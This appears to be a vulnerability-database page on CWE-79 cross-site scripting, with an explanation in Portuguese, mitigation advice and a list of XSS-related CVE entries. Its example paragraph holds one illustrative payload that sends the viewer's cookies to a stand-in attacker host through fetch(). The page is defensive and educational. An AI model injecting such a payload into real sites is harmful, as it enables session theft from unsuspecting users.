Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-48679LOWStored cross-site scripting (XSS) vulnerability due to missing origin validation in postMessage. The following products are affected: AcroniEPSS 0.3%CVE-2026-33167LOWRails has a possible XSS vulnerability in its Action Pack debug exceptionsEPSS 0.3%CVE-2025-49247HIGHWordPress Team Showcase plugin < 25.05.13 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43150MEDIUMWordPress Xpro Elementor Addons plugin <= 1.4.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-49245HIGHWordPress Testimonials Showcase plugin <= 1.9.16 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23723HIGHWordPress Plestar Directory Listing plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-38710MEDIUMWordPress Master Addons – Free Widgets, Hover Effects, Toggle, Conditions, Animations for Elementor plugin <= 2.0.6.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-57452MEDIUMIn realme BackupRestore app v15.1.12_2810c08_250314, improper URI scheme handling in com.coloros.pc.PcToolMainActivity allows local attackerEPSS 0.3%CVE-2025-1527MEDIUMShopLentor – WooCommerce Builder for Elementor & Gutenberg +20 Modules – All in One Solution (formerly WooLentor) <= 3.1.0 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via Flash Sale Countdown ModuleEPSS 0.3%CVE-2024-33536MEDIUMAn issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0. The vulnerability occurs due to inadequate input validation of the res pEPSS 0.3%CVE-2024-37449MEDIUMWordPress Slider Revolution plugin <= 6.7.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-34915MEDIUMA missing sanitisation of user input in the zone-include.php script of Revive Adserver 6.0.6 and earlier could allow a low‑privileged user tEPSS 0.3%CVE-2025-13504HIGHWordPress Real Estate Pro plugin <= 2.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-38767MEDIUMWordPress BSK PDF Manager plugin <= 3.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47642MEDIUMWordPress Keap Official Opt-in Forms plugin <= 2.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32311HIGHWordPress Pressroom theme <= 7.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43934MEDIUMWordPress Collapsing Archives plugin <= 3.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-49274HIGHWordPress Neom Blog theme <= 0.0.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-39487HIGHWordPress Rankie plugin <= 1.8.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31067HIGHWordPress Seven Stars theme <= 1.4.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%